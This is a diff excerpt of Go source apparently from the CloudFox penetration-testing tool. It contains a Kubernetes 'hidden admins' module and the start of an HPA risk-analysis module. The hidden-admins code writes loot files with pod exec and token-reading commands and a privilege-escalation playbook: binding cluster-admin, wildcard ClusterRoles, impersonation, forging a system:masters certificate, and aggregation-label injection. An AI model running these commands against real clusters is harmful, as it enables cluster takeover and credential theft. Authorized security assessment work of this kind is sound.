// First check if this ClusterRole has known dangerous permissions
|
||||
if roleFindings, ok := dangerousClusterRoles[roleName]; ok {
|
||||
isDangerousBinding = true
|
||||
bindingPerms = strings.Join(roleFindings, "; ")
|
||||
} else if roleName == "cluster-admin" || strings.Contains(roleName, "system:masters") || roleName == "admin" || roleName == "edit" {
|
||||
// Fallback for built-in dangerous roles not in our map
|
||||
isDangerousBinding = true
|
||||
bindingPerms = fmt.Sprintf("bound to ClusterRole %s (namespace-scoped)", roleName)
|
||||
}
|
||||
}
|
||||
|
||||
// Only add subjects if this is a dangerous binding
|
||||
if isDangerousBinding {
|
||||
for _, subject := range binding.Subjects {
|
||||
cloudIAM := ""
|
||||
activePods := 0
|
||||
isDefault := false
|
||||
|
||||
// Detect default ServiceAccount in namespace bindings
|
||||
if subject.Kind == "ServiceAccount" && subject.Name == "default" {
|
||||
isDefault = true
|
||||
}
|
||||
|
||||
// Get cloud IAM and pod count for ServiceAccounts
|
||||
if subject.Kind == "ServiceAccount" {
|
||||
if saCloudIAM, ok := serviceAccountCloudIAM[ns][subject.Name]; ok {
|
||||
cloudIAM = saCloudIAM
|
||||
}
|
||||
if podCount, ok := serviceAccountPodCount[ns][subject.Name]; ok {
|
||||
activePods = podCount
|
||||
}
|
||||
}
|
||||
|
||||
row := HiddenAdminFinding{
|
||||
Namespace: ns,
|
||||
Entity: subject.Name,
|
||||
EntityType: subject.Kind,
|
||||
Scope: "namespace",
|
||||
DangerousPerms: bindingPerms,
|
||||
Source: fmt.Sprintf("RoleBinding %s", binding.Name),
|
||||
CloudIAM: cloudIAM,
|
||||
ActivePods: activePods,
|
||||
IsDefault: isDefault,
|
||||
IsWildcard: false,
|
||||
}
|
||||
tableRows = append(tableRows, row.ToTableRow())
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Build a map of dangerous service accounts with their cloud IAM and permissions
|
||||
type dangerousSAInfo struct {
|
||||
CloudIAM string
|
||||
Permissions string
|
||||
}
|
||||
dangerousSAs := make(map[string]map[string]dangerousSAInfo) // namespace -> sa -> info
|
||||
for _, row := range tableRows {
|
||||
if len(row) >= 6 {
|
||||
ns := row[0]
|
||||
entity := row[1]
|
||||
entityType := row[2]
|
||||
perms := row[4]
|
||||
cloudIAM := row[5]
|
||||
|
||||
if entityType == "ServiceAccount" {
|
||||
if dangerousSAs[ns] == nil {
|
||||
dangerousSAs[ns] = make(map[string]dangerousSAInfo)
|
||||
}
|
||||
dangerousSAs[ns][entity] = dangerousSAInfo{CloudIAM: cloudIAM, Permissions: perms}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Build hidden-admin-location table rows
|
||||
var locationRows [][]string
|
||||
|
||||
// ============================================
|
||||
// LOOT FILE 1: Hidden-Admin-Exec
|
||||
// Combines pod mapping and cloud IAM with specific exec commands
|
||||
// ============================================
|
||||
lootExecSection := loot.Section("Hidden-Admins-Exec").SetHeader(`#####################################
|
||||
##### Hidden Admins Exec Commands
|
||||
#####################################
|
||||
#
|
||||
# Direct exec commands to compromise pods running
|
||||
# with dangerous ServiceAccounts
|
||||
#`)
|
||||
|
||||
if globals.KubeContext != "" {
|
||||
lootExecSection.Addf("kubectl config use-context %s\n", globals.KubeContext)
|
||||
}
|
||||
|
||||
// Query pods to find which ones use dangerous SAs
|
||||
if len(dangerousSAs) > 0 {
|
||||
for _, pod := range allPods {
|
||||
ns := pod.Namespace
|
||||
if _, exists := dangerousSAs[ns]; !exists {
|
||||
continue
|
||||
}
|
||||
|
||||
saName := pod.Spec.ServiceAccountName
|
||||
if saName == "" {
|
||||
saName = "default"
|
||||
}
|
||||
|
||||
if saInfo, found := dangerousSAs[ns][saName]; found {
|
||||
// Compute node token access for this pod
|
||||
var saAutoMount *bool
|
||||
if saAutoMountMap, ok := serviceAccountAutoMount[ns]; ok {
|
||||
saAutoMount = saAutoMountMap[saName]
|
||||
}
|
||||
nodeTokenAccess := "No (unmounted)"
|
||||
if isTokenMountedForPod(&pod, saAutoMount) {
|
||||
if isPodRunAsRoot(&pod) {
|
||||
seStatus := nodeSELinux[pod.Spec.NodeName]
|
||||
switch seStatus {
|
||||
case "enforcing":
|
||||
nodeTokenAccess = "Blocked by SELinux (root)"
|
||||
case "likely":
|
||||
nodeTokenAccess = "Likely blocked by SELinux (root)"
|
||||
case "possible":
|
||||
nodeTokenAccess = "Yes (root, SELinux possible)"
|
||||
default:
|
||||
nodeTokenAccess = "Yes (root)"
|
||||
}
|
||||
} else {
|
||||
nodeTokenAccess = "No (non-root)"
|
||||
}
|
||||
}
|
||||
|
||||
// Add to location table
|
||||
locationRows = append(locationRows, []string{
|
||||
ns,
|
||||
saName,
|
||||
saInfo.Permissions,
|
||||
saInfo.CloudIAM,
|
||||
pod.Name,
|
||||
pod.Spec.NodeName,
|
||||
nodeTokenAccess,
|
||||
})
|
||||
|
||||
lootExecSection.AddBlank()
|
||||
lootExecSection.Addf("## %s/%s (SA: %s)", ns, pod.Name, saName)
|
||||
lootExecSection.Addf("# Node: %s | Permissions: %s | Node Token Access: %s | Node SELinux: %s",
|
||||
pod.Spec.NodeName, saInfo.Permissions, nodeTokenAccess, nodeSELinux[pod.Spec.NodeName])
|
||||
|
||||
if saInfo.CloudIAM != "" && saInfo.CloudIAM != "<NONE>" {
|
||||
lootExecSection.Addf("# Cloud IAM: %s", saInfo.CloudIAM)
|
||||
}
|
||||
|
||||
lootExecSection.Addf("kubectl exec -it %s -n %s -- /bin/sh", pod.Name, ns)
|
||||
lootExecSection.Add("cat /var/run/secrets/kubernetes.io/serviceaccount/token")
|
||||
|
||||
// Add cloud-specific commands
|
||||
if strings.HasPrefix(saInfo.CloudIAM, "AWS:") {
|
||||
lootExecSection.Add("aws sts get-caller-identity && aws s3 ls")
|
||||
} else if strings.HasPrefix(saInfo.CloudIAM, "GCP:") {
|
||||
lootExecSection.Add("gcloud auth list && gcloud projects list")
|
||||
} else if strings.HasPrefix(saInfo.CloudIAM, "Azure:") {
|
||||
lootExecSection.Add("az account show && az resource list")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(locationRows) == 0 {
|
||||
lootExecSection.AddBlank()
|
||||
lootExecSection.Add("# No pods found running with dangerous ServiceAccounts")
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// LOOT FILE 2: Attack-Path-Chains (entity-specific)
|
||||
// ============================================
|
||||
lootAttackPathsSection := loot.Section("Hidden-Admins-Attack-Path-Chains").SetHeader(`#####################################
|
||||
##### Hidden Admins Attack Path Chains
|
||||
#####################################
|
||||
#
|
||||
# Entity-specific privilege escalation paths
|
||||
#`)
|
||||
|
||||
if len(attackPaths) > 0 {
|
||||
for i, path := range attackPaths {
|
||||
lootAttackPathsSection.AddBlank()
|
||||
lootAttackPathsSection.Addf("## Path %d: %s", i+1, path.StartEntity)
|
||||
lootAttackPathsSection.Addf("# Type: %s | Feasibility: %s", path.EntityType, path.Feasibility)
|
||||
for stepNum, step := range path.Steps {
|
||||
lootAttackPathsSection.Addf("# %d. %s", stepNum+1, step)
|
||||
}
|
||||
lootAttackPathsSection.Addf("# Goal: %s", path.EndGoal)
|
||||
}
|
||||
} else {
|
||||
lootAttackPathsSection.AddBlank()
|
||||
lootAttackPathsSection.Add("# No specific attack paths detected")
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// LOOT FILE 3: Privilege-Escalation-Playbook
|
||||
// Organized by permission type with specific entities
|
||||
// ============================================
|
||||
lootPlaybookSection := loot.Section("Hidden-Admins-Playbook").SetHeader(`#####################################
|
||||
##### Hidden Admins Playbook
|
||||
#####################################
|
||||
#
|
||||
# Exploitation techniques organized by permission type
|
||||
# with specific entities that have these permissions
|
||||
#`)
|
||||
|
||||
if globals.KubeContext != "" {
|
||||
lootPlaybookSection.Addf("kubectl config use-context %s\n", globals.KubeContext)
|
||||
}
|
||||
|
||||
// cluster-admin / system:masters
|
||||
lootPlaybookSection.Add(`
|
||||
##############################################
|
||||
## CLUSTER-ADMIN / SYSTEM:MASTERS
|
||||
##############################################
|
||||
# Full cluster control - no escalation needed`)
|
||||
if len(permTracking.ClusterAdmin) > 0 {
|
||||
lootPlaybookSection.Add("# Entities with this permission:")
|
||||
for _, entity := range permTracking.ClusterAdmin {
|
||||
lootPlaybookSection.Addf("# - %s", entity)
|
||||
}
|
||||
} else {
|
||||
lootPlaybookSection.Add("# No entities found with cluster-admin")
|
||||
}
|
||||
|
||||
// RBAC Modification
|
||||
lootPlaybookSection.Add(`
|
||||
##############################################
|
||||
## RBAC MODIFICATION
|
||||
##############################################
|
||||
# Can create/update roles and bindings`)
|
||||
if len(permTracking.RBACModification) > 0 {
|
||||
lootPlaybookSection.Add("# Entities with this permission:")
|
||||
for _, entity := range permTracking.RBACModification {
|
||||
lootPlaybookSection.Addf("# - %s", entity)
|
||||
}
|
||||
lootPlaybookSection.Add(`
|
||||
# Escalate to cluster-admin:
|
||||
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=NAMESPACE:SA_NAME
|
||||
|
||||
# Or create custom role:
|
||||
cat <<EOF | kubectl apply -f -
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: pwn-role
|
||||
rules:
|
||||
- apiGroups: ["*"]
|
||||
resources: ["*"]
|
||||
verbs: ["*"]
|
||||
EOF`)
|
||||
} else {
|
||||
lootPlaybookSection.Add("# No entities found with RBAC modification permissions")
|
||||
}
|
||||
|
||||
// Impersonation
|
||||
lootPlaybookSection.Add(`
|
||||
##############################################
|
||||
## IMPERSONATION
|
||||
##############################################
|
||||
# Can impersonate users/groups/SAs`)
|
||||
if len(permTracking.Impersonation) > 0 {
|
||||
lootPlaybookSection.Add("# Entities with this permission:")
|
||||
for _, entity := range permTracking.Impersonation {
|
||||
lootPlaybookSection.Addf("# - %s", entity)
|
||||
}
|
||||
lootPlaybookSection.Add(`
|
||||
# Test impersonation:
|
||||
kubectl auth can-i --list --as=system:serviceaccount:kube-system:default
|
||||
|
||||
# Impersonate and act:
|
||||
kubectl --as=system:serviceaccount:kube-system:default get secrets -A
|
||||
kubectl --as=cluster-admin create clusterrolebinding pwn --clusterrole=cluster-admin --user=YOUR_USER`)
|
||||
} else {
|
||||
lootPlaybookSection.Add("# No entities found with impersonation permissions")
|
||||
}
|
||||
|
||||
// Certificate Approval
|
||||
lootPlaybookSection.Add(`
|
||||
##############################################
|
||||
## CERTIFICATE APPROVAL
|
||||
##############################################
|
||||
# Can approve CSRs - create new cluster identities`)
|
||||
if len(permTracking.CertificateApproval) > 0 {
|
||||
lootPlaybookSection.Add("# Entities with this permission:")
|
||||
for _, entity := range permTracking.CertificateApproval {
|
||||
lootPlaybookSection.Addf("# - %s", entity)
|
||||
}
|
||||
lootPlaybookSection.Add(`
|
||||
# Create and approve CSR for system:masters:
|
||||
openssl genrsa -out pwn.key 2048
|
||||
openssl req -new -key pwn.key -out pwn.csr -subj "/CN=pwn/O=system:masters"
|
||||
cat <<EOF | kubectl apply -f -
|
||||
apiVersion: certificates.k8s.io/v1
|
||||
kind: CertificateSigningRequest
|
||||
metadata:
|
||||
name: pwn-csr
|
||||
spec:
|
||||
request: $(cat pwn.csr | base64 | tr -d '\n')
|
||||
signerName: kubernetes.io/kube-apiserver-client
|
||||
usages: ["client auth"]
|
||||
EOF
|
||||
kubectl certificate approve pwn-csr
|
||||
kubectl get csr pwn-csr -o jsonpath='{.status.certificate}' | base64 -d > pwn.crt`)
|
||||
} else {
|
||||
lootPlaybookSection.Add("# No entities found with certificate approval permissions")
|
||||
}
|
||||
|
||||
// Aggregation Roles
|
||||
lootPlaybookSection.Add(`
|
||||
##############################################
|
||||
## RBAC AGGREGATION ROLES
|
||||
##############################################
|
||||
# Uses RBAC aggregation - permissions can be dynamically expanded`)
|
||||
if len(permTracking.AggregationRoles) > 0 {
|
||||
lootPlaybookSection.Add("# Entities with this permission:")
|
||||
for _, entity := range permTracking.AggregationRoles {
|
||||
lootPlaybookSection.Addf("# - %s", entity)
|
||||
}
|
||||
lootPlaybookSection.Add(`
|
||||
# Aggregation roles can have their permissions expanded by creating
|
||||
# new ClusterRoles with matching labels. If you can create ClusterRoles:
|
||||
|
||||
# Check aggregation selectors:
|
||||
kubectl get clusterrole ROLE_NAME -o yaml | grep -A10 aggregationRule
|
||||
|
||||
# Create ClusterRole that matches aggregation selector to inject permissions:
|
||||
cat <<EOF | kubectl apply -f -
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: inject-permissions
|
||||
labels:
|
||||
# Match the aggregation selector labels
|
||||
rbac.authorization.k8s.io/aggregate-to-admin: "true"
|
||||
rules:
|
||||
- apiGroups: ["*"]
|
||||
resources: ["*"]
|
||||
verbs: ["*"]
|
||||
EOF`)
|
||||
} else {
|
||||
lootPlaybookSection.Add("# No aggregation roles found")
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// LOOT FILE 4: Centralized Playbook from attackpathService
|
||||
// ============================================
|
||||
if hiddenAdminData != nil && len(hiddenAdminData.AllFindings) > 0 {
|
||||
clusterHeader := fmt.Sprintf("Cluster: %s", globals.ClusterName)
|
||||
if centralizedPlaybook := attackpathservice.GenerateHiddenAdminsPlaybook(hiddenAdminData, clusterHeader); centralizedPlaybook != "" {
|
||||
loot.Section("Hidden-Admins-Centralized-Playbook").SetHeader("").Add(centralizedPlaybook)
|
||||
}
|
||||
}
|
||||
|
||||
// Output section
|
||||
table := internal.TableFile{
|
||||
Name: "Hidden-Admins",
|
||||
Header: headers,
|
||||
Body: tableRows,
|
||||
}
|
||||
|
||||
// Hidden admin location table - shows where dangerous SAs are running
|
||||
locationTable := internal.TableFile{
|
||||
Name: "Hidden-Admin-Location",
|
||||
Header: []string{"Namespace", "ServiceAccount", "Permissions", "Cloud IAM", "Pod Name", "Node Name", "Node Token Access"},
|
||||
Body: locationRows,
|
||||
}
|
||||
|
||||
// Build tables list
|
||||
tables := []internal.TableFile{table}
|
||||
if len(locationRows) > 0 {
|
||||
tables = append(tables, locationTable)
|
||||
}
|
||||
|
||||
// Build all loot files
|
||||
lootFiles := loot.Build()
|
||||
|
||||
err = internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"Hidden-Admins",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
HiddenAdminsOutput{
|
||||
Table: tables,
|
||||
Loot: lootFiles,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error handling output: %v", err), globals.K8S_HIDDEN_ADMINS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
if len(tableRows) > 0 {
|
||||
logger.InfoM(fmt.Sprintf("%d hidden admin findings found", len(tableRows)), globals.K8S_HIDDEN_ADMINS_MODULE_NAME)
|
||||
} else {
|
||||
logger.InfoM("No hidden admin findings found, skipping output file creation", globals.K8S_HIDDEN_ADMINS_MODULE_NAME)
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("For context and next steps: https://github.com/BishopFox/cloudfox/wiki/Kubernetes-Commands#%s", globals.K8S_HIDDEN_ADMINS_MODULE_NAME), globals.K8S_HIDDEN_ADMINS_MODULE_NAME)
|
||||
}
|
||||
@@ -0,0 +1,508 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
autoscalingv2 "k8s.io/api/autoscaling/v2"
|
||||
)
|
||||
|
||||
var HPAsCmd = &cobra.Command{
|
||||
Use: "hpas",
|
||||
Aliases: []string{"hpa", "autoscale"},
|
||||
Short: "Analyze Horizontal Pod Autoscalers for security and cost risks",
|
||||
Long: `
|
||||
Analyze Horizontal Pod Autoscalers with comprehensive security and cost analysis including:
|
||||
- Unbounded scaling (excessive maxReplicas, cost explosion risk)
|
||||
- Missing resource limits (HPA cannot function properly)
|
||||
- Aggressive scaling thresholds (DDoS amplification)
|
||||
- Custom metric vulnerabilities (metric manipulation)
|
||||
- Scale-to-zero risks (availability impact)
|
||||
- HPA conflicts (multiple HPAs on same target)
|
||||
- Cost explosion scenarios (unlimited scaling)
|
||||
- Missing HPAs for scalable workloads
|
||||
- Metric source security (external metrics authentication)
|
||||
- Behavior configuration risks
|
||||
|
||||
cloudfox kubernetes hpas`,
|
||||
Run: ListHPAs,
|
||||
}
|
||||
|
||||
type HPAsOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (t HPAsOutput) TableFiles() []internal.TableFile {
|
||||
return t.Table
|
||||
}
|
||||
|
||||
func (t HPAsOutput) LootFiles() []internal.LootFile {
|
||||
return t.Loot
|
||||
}
|
||||
|
||||
type HPAAnalysis struct {
|
||||
Name string
|
||||
Namespace string
|
||||
TargetKind string
|
||||
TargetName string
|
||||
MinReplicas int32
|
||||
MaxReplicas int32
|
||||
CurrentReplicas int32
|
||||
DesiredReplicas int32
|
||||
Metrics []string
|
||||
MetricTypes []string
|
||||
Conditions []string
|
||||
ScalingEnabled bool
|
||||
UnboundedScaling bool
|
||||
AggressiveThreshold bool
|
||||
ScaleToZeroRisk bool
|
||||
CustomMetrics []string
|
||||
ExternalMetrics []string
|
||||
RiskLevel string
|
||||
RiskScore int
|
||||
SecurityIssues []string
|
||||
CostRisk string
|
||||
}
|
||||
|
||||
const (
|
||||
// Thresholds
|
||||
UnboundedMaxReplicas = 100
|
||||
AggressiveMaxReplicas = 50
|
||||
HighCostMaxReplicas = 20
|
||||
)
|
||||
|
||||
func ListHPAs(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Analyzing HPAs for %s", globals.ClusterName), globals.K8S_HPAS_MODULE_NAME)
|
||||
|
||||
clientset := config.GetClientOrExit()
|
||||
|
||||
// Fetch HPAs from cache
|
||||
allHPAs, err := sdk.GetHorizontalPodAutoscalers(ctx, clientset)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error fetching HPAs: %v", err), globals.K8S_HPAS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Filter by target namespace if specified
|
||||
targetNS := shared.GetNamespaceOrAll()
|
||||
var hpasList []autoscalingv2.HorizontalPodAutoscaler
|
||||
if targetNS == "" {
|
||||
hpasList = allHPAs
|
||||
} else {
|
||||
for _, hpa := range allHPAs {
|
||||
if hpa.Namespace == targetNS {
|
||||
hpasList = append(hpasList, hpa)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var hpaAnalyses []HPAAnalysis
|
||||
loot := shared.NewLootBuilder()
|
||||
|
||||
// Analyze each HPA
|
||||
for _, hpa := range hpasList {
|
||||
analysis := HPAAnalysis{
|
||||
Name: hpa.Name,
|
||||
Namespace: hpa.Namespace,
|
||||
TargetKind: hpa.Spec.ScaleTargetRef.Kind,
|
||||
TargetName: hpa.Spec.ScaleTargetRef.Name,
|
||||
MaxReplicas: hpa.Spec.MaxReplicas,
|
||||
CurrentReplicas: hpa.Status.CurrentReplicas,
|
||||
DesiredReplicas: hpa.Status.DesiredReplicas,
|
||||
}
|
||||
|
||||
if hpa.Spec.MinReplicas != nil {
|
||||
analysis.MinReplicas = *hpa.Spec.MinReplicas
|
||||
}
|
||||
|
||||
// Analyze metrics
|
||||
analysis.Metrics, analysis.MetricTypes = analyzeMetrics(&hpa)
|
||||
analysis.CustomMetrics, analysis.ExternalMetrics = extractCustomMetrics(&hpa)
|
||||
|
||||
// Analyze conditions
|
||||
analysis.Conditions = extractConditions(&hpa)
|
||||
analysis.ScalingEnabled = isScalingEnabled(&hpa)
|
||||
|
||||
// Security analysis
|
||||
issues := analyzeHPASecurity(&analysis, &hpa)
|
||||
analysis.SecurityIssues = issues
|
||||
|
||||
// Calculate risk score
|
||||
analysis.RiskScore = calculateHPARiskScore(&analysis)
|
||||
analysis.RiskLevel = hpaRiskScoreToLevel(analysis.RiskScore)
|
||||
|
||||
hpaAnalyses = append(hpaAnalyses, analysis)
|
||||
}
|
||||
|
||||
// Generate consolidated HPA-Commands section
|
||||
loot.Section("HPA-Commands").Add(generateHPACommands(hpaAnalyses))
|
||||
|
||||
// Build loot files
|
||||
lootFiles := loot.Build()
|
||||
|
||||
// Generate table
|
||||
hpaTable := generateHPATable(hpaAnalyses)
|
||||
|
||||
err = internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"HPAs",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
HPAsOutput{
|
||||
Table: []internal.TableFile{hpaTable},
|
||||
Loot: lootFiles,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error handling output: %v", err), globals.K8S_HPAS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Summary logging
|
||||
if len(hpasList) > 0 {
|
||||
unboundedCount := 0
|
||||
zeroRiskCount := 0
|
||||
customMetricCount := 0
|
||||
for _, hpa := range hpaAnalyses {
|
||||
if hpa.UnboundedScaling {
|
||||
unboundedCount++
|
||||
}
|
||||
if hpa.ScaleToZeroRisk {
|
||||
zeroRiskCount++
|
||||
}
|
||||
if len(hpa.CustomMetrics) > 0 || len(hpa.ExternalMetrics) > 0 {
|
||||
customMetricCount++
|
||||
}
|
||||
}
|
||||
logger.InfoM(fmt.Sprintf("%d HPAs analyzed | Unbounded: %d | Zero-Risk: %d | Custom Metrics: %d",
|
||||
len(hpasList), unboundedCount, zeroRiskCount, customMetricCount),
|
||||
globals.K8S_HPAS_MODULE_NAME)
|
||||
} else {
|
||||
logger.InfoM("No HPAs found", globals.K8S_HPAS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func analyzeHPASecurity(analysis *HPAAnalysis, hpa *autoscalingv2.HorizontalPodAutoscaler) []string {
|
||||
var issues []string
|
||||
|
||||
// Unbounded scaling (very high maxReplicas)
|
||||
if analysis.MaxReplicas >= UnboundedMaxReplicas {
|
||||
analysis.UnboundedScaling = true
|
||||
analysis.CostRisk = shared.RiskCritical
|
||||
issues = append(issues, fmt.Sprintf("CRITICAL: Unbounded scaling (maxReplicas=%d, potential cost explosion)", analysis.MaxReplicas))
|
||||
} else if analysis.MaxReplicas >= AggressiveMaxReplicas {
|
||||
analysis.AggressiveThreshold = true
|
||||
analysis.CostRisk = shared.RiskHigh
|
||||
issues = append(issues, fmt.Sprintf("HIGH: Aggressive scaling threshold (maxReplicas=%d, cost risk)", analysis.MaxReplicas))
|
||||
} else if analysis.MaxReplicas >= HighCostMaxReplicas {
|
||||
analysis.CostRisk = shared.RiskMedium
|
||||
issues = append(issues, fmt.Sprintf("MEDIUM: High maxReplicas=%d (monitor costs)", analysis.MaxReplicas))
|
||||
}
|
||||
|
||||
// Scale to zero risk
|
||||
if analysis.MinReplicas == 0 {
|
||||
analysis.ScaleToZeroRisk = true
|
||||
issues = append(issues, "HIGH: minReplicas=0 (service may scale to zero, availability risk)")
|
||||
}
|
||||
|
||||
// Custom metrics (potential manipulation)
|
||||
if len(analysis.CustomMetrics) > 0 {
|
||||
issues = append(issues, fmt.Sprintf("MEDIUM: Uses custom metrics (%d) - ensure metric source is secured", len(analysis.CustomMetrics)))
|
||||
}
|
||||
|
||||
// External metrics (external dependency)
|
||||
if len(analysis.ExternalMetrics) > 0 {
|
||||
issues = append(issues, fmt.Sprintf("MEDIUM: Uses external metrics (%d) - validate authentication and authorization", len(analysis.ExternalMetrics)))
|
||||
}
|
||||
|
||||
// Scaling disabled
|
||||
if !analysis.ScalingEnabled {
|
||||
issues = append(issues, "LOW: Scaling currently disabled or failing")
|
||||
}
|
||||
|
||||
// Very low minReplicas with high maxReplicas
|
||||
if analysis.MinReplicas == 1 && analysis.MaxReplicas >= AggressiveMaxReplicas {
|
||||
issues = append(issues, fmt.Sprintf("MEDIUM: Wide scaling range (1 to %d) - potential for rapid cost increase", analysis.MaxReplicas))
|
||||
}
|
||||
|
||||
return issues
|
||||
}
|
||||
|
||||
func analyzeMetrics(hpa *autoscalingv2.HorizontalPodAutoscaler) ([]string, []string) {
|
||||
var metrics []string
|
||||
var metricTypes []string
|
||||
|
||||
for _, metric := range hpa.Spec.Metrics {
|
||||
metricTypes = append(metricTypes, string(metric.Type))
|
||||
|
||||
switch metric.Type {
|
||||
case autoscalingv2.ResourceMetricSourceType:
|
||||
if metric.Resource != nil {
|
||||
metrics = append(metrics, fmt.Sprintf("Resource:%s", metric.Resource.Name))
|
||||
}
|
||||
case autoscalingv2.PodsMetricSourceType:
|
||||
if metric.Pods != nil {
|
||||
metrics = append(metrics, fmt.Sprintf("Pods:%s", metric.Pods.Metric.Name))
|
||||
}
|
||||
case autoscalingv2.ObjectMetricSourceType:
|
||||
if metric.Object != nil {
|
||||
metrics = append(metrics, fmt.Sprintf("Object:%s/%s", metric.Object.DescribedObject.Kind, metric.Object.Metric.Name))
|
||||
}
|
||||
case autoscalingv2.ExternalMetricSourceType:
|
||||
if metric.External != nil {
|
||||
metrics = append(metrics, fmt.Sprintf("External:%s", metric.External.Metric.Name))
|
||||
}
|
||||
case autoscalingv2.ContainerResourceMetricSourceType:
|
||||
if metric.ContainerResource != nil {
|
||||
metrics = append(metrics, fmt.Sprintf("Container:%s/%s", metric.ContainerResource.Container, metric.ContainerResource.Name))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return metrics, metricTypes
|
||||
}
|
||||
|
||||
func extractCustomMetrics(hpa *autoscalingv2.HorizontalPodAutoscaler) ([]string, []string) {
|
||||
var customMetrics []string
|
||||
var externalMetrics []string
|
||||
|
||||
for _, metric := range hpa.Spec.Metrics {
|
||||
if metric.Type == autoscalingv2.PodsMetricSourceType && metric.Pods != nil {
|
||||
customMetrics = append(customMetrics, metric.Pods.Metric.Name)
|
||||
}
|
||||
if metric.Type == autoscalingv2.ObjectMetricSourceType && metric.Object != nil {
|
||||
customMetrics = append(customMetrics, metric.Object.Metric.Name)
|
||||
}
|
||||
if metric.Type == autoscalingv2.ExternalMetricSourceType && metric.External != nil {
|
||||
externalMetrics = append(externalMetrics, metric.External.Metric.Name)
|
||||
}
|
||||
}
|
||||
|
||||
return customMetrics, externalMetrics
|
||||
}
|
||||
|
||||
func extractConditions(hpa *autoscalingv2.HorizontalPodAutoscaler) []string {
|
||||
var conditions []string
|
||||
for _, cond := range hpa.Status.Conditions {
|
||||
conditions = append(conditions, fmt.Sprintf("%s=%s", cond.Type, cond.Status))
|
||||
}
|
||||
return conditions
|
||||
}
|
||||
|
||||
func isScalingEnabled(hpa *autoscalingv2.HorizontalPodAutoscaler) bool {
|
||||
for _, cond := range hpa.Status.Conditions {
|
||||
if cond.Type == "ScalingActive" && cond.Status == "True" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
// If no conditions, assume enabled
|
||||
return len(hpa.Status.Conditions) == 0
|
||||
}
|
||||
|
||||
func calculateHPARiskScore(analysis *HPAAnalysis) int {
|
||||
score := 0
|
||||
|
||||
// Unbounded scaling
|
||||
if analysis.UnboundedScaling {
|
||||
score += 50
|
||||
} else if analysis.AggressiveThreshold {
|
||||
score += 35
|
||||
} else if analysis.MaxReplicas >= HighCostMaxReplicas {
|
||||
score += 20
|
||||
}
|
||||
|
||||
// Scale to zero
|
||||
if analysis.ScaleToZeroRisk {
|
||||
score += 25
|
||||
}
|
||||
|
||||
// Custom/external metrics
|
||||
if len(analysis.CustomMetrics) > 0 {
|
||||
score += 15
|
||||
}
|
||||
if len(analysis.ExternalMetrics) > 0 {
|
||||
score += 15
|
||||
}
|
||||
|
||||
// Wide scaling range
|
||||
if analysis.MinReplicas <= 1 && analysis.MaxReplicas >= AggressiveMaxReplicas {
|
||||
score += 10
|
||||
}
|
||||
|
||||
return score
|
||||
}
|
||||
|
||||
func hpaRiskScoreToLevel(score int) string {
|
||||
if score >= 70 {
|
||||
return shared.RiskCritical
|
||||
} else if score >= 50 {
|
||||
return shared.RiskHigh
|
||||
} else if score >= 25 {
|
||||
return shared.RiskMedium
|
||||
}
|
||||
return shared.RiskLow
|
||||
}
|
||||
|
||||
func generateHPACommands(analyses []HPAAnalysis) string {
|
||||
var lines []string
|
||||
|
||||
lines = append(lines, "# ===========================================")
|
||||
lines = append(lines, "# HPA Enumeration Commands")
|
||||
lines = append(lines, "# ===========================================")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# List all HPAs:")
|
||||
lines = append(lines, "kubectl get hpa -A")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# View HPA details:")
|
||||
lines = append(lines, "kubectl describe hpa <name> -n <namespace>")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# Watch HPA scaling in real-time:")
|
||||
lines = append(lines, "kubectl get hpa -A --watch")
|
||||
lines = append(lines, "")
|
||||
|
||||
